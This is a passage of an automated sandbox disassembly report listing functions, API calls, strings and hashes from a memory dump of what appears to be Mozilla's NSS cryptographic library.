Part of subcall function 6C626C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C626C96
Part of subcall function 6C626C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C626CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C626F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C626FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C626FF4

Strings

+`cl, xrefs: 6C626D0D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`cl
API String ID: 1304971872-343157012
Opcode ID: 8c46dce3b53fc8db0788cb67a9e8ecec1b997f1770a7909b3152935dd8cce6b2
Instruction ID: 8758c889d76002e5ae591d6fa3746d70cb85152d21c810632edbd3a6ef1d5563
Opcode Fuzzy Hash: 8c46dce3b53fc8db0788cb67a9e8ecec1b997f1770a7909b3152935dd8cce6b2
Instruction Fuzzy Hash: C8B18EB0E052199FDF10CBA5D884B9EBBB9BF05349F140124E815E7A40E739E915CFA9

Function 6C5D1FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C5D2007
calloc.MOZGLUE(00000001,00000084), ref: 6C5D2077
calloc.MOZGLUE(00000001,0000002C), ref: 6C5D20DF
TlsSetValue.KERNEL32(00000000), ref: 6C5D2188
PR_NewCondVar.NSS3 ref: 6C5D21B7
calloc.MOZGLUE(00000001,00000084), ref: 6C5D221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C5D22C2
GetLastError.KERNEL32 ref: 6C5D22CD
free.MOZGLUE(00000000), ref: 6C5D22DD

Part of subcall function 6C5D0F00: PR_GetPageSize.NSS3(6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000,?,6C56204A), ref: 6C5D0F1B
Part of subcall function 6C5D0F00: PR_NewLogModule.NSS3(clock,6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000,?,6C56204A), ref: 6C5D0F25

Strings

T tl, xrefs: 6C5D2361
X tl, xrefs: 6C5D218E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T tl$X tl
API String ID: 3559583721-1513235571
Opcode ID: b4a21b592ba430ee5a3d91e08d6b89d3e10957294be90ff5ed4ba7b8ffcb726b
Instruction ID: d6086e4b1e56b2145f590f98e260ecdb9ce4fa474ef36d5217321288528f9609
Opcode Fuzzy Hash: b4a21b592ba430ee5a3d91e08d6b89d3e10957294be90ff5ed4ba7b8ffcb726b
Instruction Fuzzy Hash: 01916AB16017118FEB20EF38CC0975B7AF4BB4670AF11853EE55AD6A40DB70A918CF96

Function 6C5EDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5EDDDE

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C5EDDF5

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5EDE34
PR_Now.NSS3 ref: 6C5EDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C5EDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5EDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5EDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C5EDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C5EDEF0
PR_smprintf.NSS3(6C71AAF9,(NULL) (Validity Unknown)), ref: 6C5EDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5EDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5EDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5EDF33
free.MOZGLUE(00000000), ref: 6C5EDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5EDF4B
free.MOZGLUE(00000000), ref: 6C5EDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5EDF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C5EDEFA
%s%s, xrefs: 6C5EDEEB
{???}, xrefs: 6C5EDE8B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 87cfe5c0ecb9bb3cf98f0976aeebaf45ead591ae280ad31588be2892eede4326
Instruction ID: e16406c1ce66cd2d14433a11494b1e67e8553de1a4d97134cf6b01d871a409cb
Opcode Fuzzy Hash: 87cfe5c0ecb9bb3cf98f0976aeebaf45ead591ae280ad31588be2892eede4326
Instruction Fuzzy Hash: A651C0B1E002159BDB10DE658C41AAF7AB9AF8A359F148028EC19E7B01F731DD15CBE6

Function 6C622D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C622DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C622E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C622E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C622E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C5F4F1C,?,-00000001,00000000,?), ref: 6C622E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C5F4F1C,?,-00000001,00000000), ref: 6C622E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C622EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C622EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C622EF8
PR_Unlock.NSS3(?), ref: 6C622F62
TlsGetValue.KERNEL32 ref: 6C622F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C622F9E
PR_Unlock.NSS3(?), ref: 6C622FCA
TlsGetValue.KERNEL32 ref: 6C62301A
EnterCriticalSection.KERNEL32(?), ref: 6C62302E
PR_Unlock.NSS3(?), ref: 6C623066
PR_SetError.NSS3(00000000,00000000), ref: 6C623085
PR_Unlock.NSS3(?), ref: 6C6230EC
TlsGetValue.KERNEL32 ref: 6C62310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C623124
PR_Unlock.NSS3(?), ref: 6C62314C

Part of subcall function 6C609180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C63379E,?,6C609568,00000000,?,6C63379E,?,00000001,?), ref: 6C60918D
Part of subcall function 6C609180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C63379E,?,6C609568,00000000,?,6C63379E,?,00000001,?), ref: 6C6091A0

Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07AD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07CD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07D6
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C56204A), ref: 6C5D07E4
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,6C56204A), ref: 6C5D0864
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5D0880
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C56204A), ref: 6C5D08CB
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08D7
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C62316D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 861cd4da28f06f3bb9151cdef97b0225bf9f93e65398d33bc501e72ebda939ad
Instruction ID: d056fe4d04754affbbde4186e75d0031b9ffc49c224ee980807fccc3632edcbc
Opcode Fuzzy Hash: 861cd4da28f06f3bb9151cdef97b0225bf9f93e65398d33bc501e72ebda939ad
Instruction Fuzzy Hash: 8FF18DB1D00219AFDF00EF68D888A9EBBB5BF09318F144169EC04A7711EB35E995CF95

Function 6C609FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C609FBE

Part of subcall function 6C5E2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C5E2F0A
Part of subcall function 6C5E2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5E2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C60A015

Part of subcall function 6C621940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C62563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C62195C
Part of subcall function 6C621940: EnterCriticalSection.KERNEL32(?,?,6C62563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C5FEAC5,00000001), ref: 6C621970
Part of subcall function 6C621940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C5FEAC5,00000001,?,6C5FCE9B,00000001,6C5FEAC5), ref: 6C6219A0

PL_FreeArenaPool.NSS3(?), ref: 6C60A067
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C60A055

Part of subcall function 6C564C70: TlsGetValue.KERNEL32(?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564C97
Part of subcall function 6C564C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CB0
Part of subcall function 6C564C70: PR_Unlock.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C60A07E
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C60A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C60A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C60A0CF
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C60A12E
PL_FreeArenaPool.NSS3(?), ref: 6C60A140
PL_FinishArenaPool.NSS3(?), ref: 6C60A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C60A158
PL_FinishArenaPool.NSS3(?), ref: 6C60A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C60A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C60A1B2
free.MOZGLUE(00000000), ref: 6C60A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C60A1D6

Part of subcall function 6C6255E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C5FEAC5,00000001,?,6C5FCE9B,00000001,6C5FEAC5,00000003,-00000004,00000000,?,6C5FEAC5), ref: 6C625627
Part of subcall function 6C6255E0: PR_CallOnce.NSS3(6C742AA4,6C6412D0,?,?,?,?,?,?,?,?,?,?,6C5FEAC5,00000001,?,6C5FCE9B), ref: 6C62564F
Part of subcall function 6C6255E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5FEAC5,00000001), ref: 6C625661
Part of subcall function 6C6255E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5FEAC5), ref: 6C6256AF

Strings

security, xrefs: 6C60A00F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 0ecd75e141024de92a414ae011727e10c359ba387abda13e70cc0d93f700b412
Instruction ID: 8fb36dc16997859376ea867228d8f20c3488c51d57bf4600d32144117cc64e54
Opcode Fuzzy Hash: 0ecd75e141024de92a414ae011727e10c359ba387abda13e70cc0d93f700b412
Instruction Fuzzy Hash: 015107B1F00209A7EB04DB64DE40BAF7375AF4634CF108124E906BAB43E775D908C79A

Function 6C624C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C624C4C
EnterCriticalSection.KERNEL32(?), ref: 6C624C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C624CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C624CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C624CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C624D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C624D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C624DB7

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07AD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07CD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07D6
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C56204A), ref: 6C5D07E4
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,6C56204A), ref: 6C5D0864
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5D0880
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C56204A), ref: 6C5D08CB
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08D7
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08FB

TlsGetValue.KERNEL32 ref: 6C624DD7
EnterCriticalSection.KERNEL32(?), ref: 6C624DEC
PR_Unlock.NSS3(?), ref: 6C624E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C624E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C624E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C624E71
free.MOZGLUE(00000000), ref: 6C624E7A
PR_Unlock.NSS3(?), ref: 6C624EA2
TlsGetValue.KERNEL32 ref: 6C624EC1
EnterCriticalSection.KERNEL32(?), ref: 6C624ED6
PR_Unlock.NSS3(?), ref: 6C624F01
free.MOZGLUE(00000000), ref: 6C624F2A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 275d94ef4f910a5afa61f3c8892d250baace287c5553bbabd33726de0344f603
Instruction ID: 6f1c9b3762032dcb085a22106e799dc2b325f58ca6f0edc4d83426c75505c720
Opcode Fuzzy Hash: 275d94ef4f910a5afa61f3c8892d250baace287c5553bbabd33726de0344f603
Instruction Fuzzy Hash: ABB13571A00205DFEB10EF28D884BAA77B4BF46319F044165ED0597B10EB78E961CFDA

Function 6C62FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C62FFB4

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C62FFC6

Part of subcall function 6C6A98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6A9946
Part of subcall function 6C6A98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5616B7,00000000), ref: 6C6A994E
Part of subcall function 6C6A98D0: free.MOZGLUE(00000000), ref: 6C6A995E

PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C62FFD6
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C62FFE6
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C62FFF6
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630006
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630016
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630026
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630036
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630046
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630056
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630066
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630076
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630086
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C630096
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C6300A6
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C6300B6
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C6300C6
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C6300D6
PR_NewLock.NSS3(?,?,6C6276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C6300E6

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: b4574bc04b8acd2a6480c4bcf7a5a8565dbf9ca9891be34f7e12990448033d2f
Instruction ID: 65635a8d37bcc5f14df4a99857a194c89724da90c7f58ded0cd91e9757257216
Opcode Fuzzy Hash: b4574bc04b8acd2a6480c4bcf7a5a8565dbf9ca9891be34f7e12990448033d2f
Instruction Fuzzy Hash: E63102F0E116289E8B49FFA9C1481493AF5FB17A5CB20D93BD024C6701D7B5096ACF9E

Function 6C676E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C676BF7), ref: 6C676EB6

Part of subcall function 6C5D1240: TlsGetValue.KERNEL32(00000040,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D1267
Part of subcall function 6C5D1240: EnterCriticalSection.KERNEL32(?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D127C
Part of subcall function 6C5D1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D1291
Part of subcall function 6C5D1240: PR_Unlock.NSS3(?,?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C71FC0A,6C676BF7), ref: 6C676ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C676EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C676EFC
PR_NewLock.NSS3 ref: 6C676F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C676F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C676BF7), ref: 6C676F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C676BF7), ref: 6C676F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C676BF7), ref: 6C676FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C676BF7), ref: 6C676FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6C676EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C676F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C676FDB
SSLKEYLOGFILE, xrefs: 6C676EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C676FF8
SSLFORCELOCKS, xrefs: 6C676F2B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
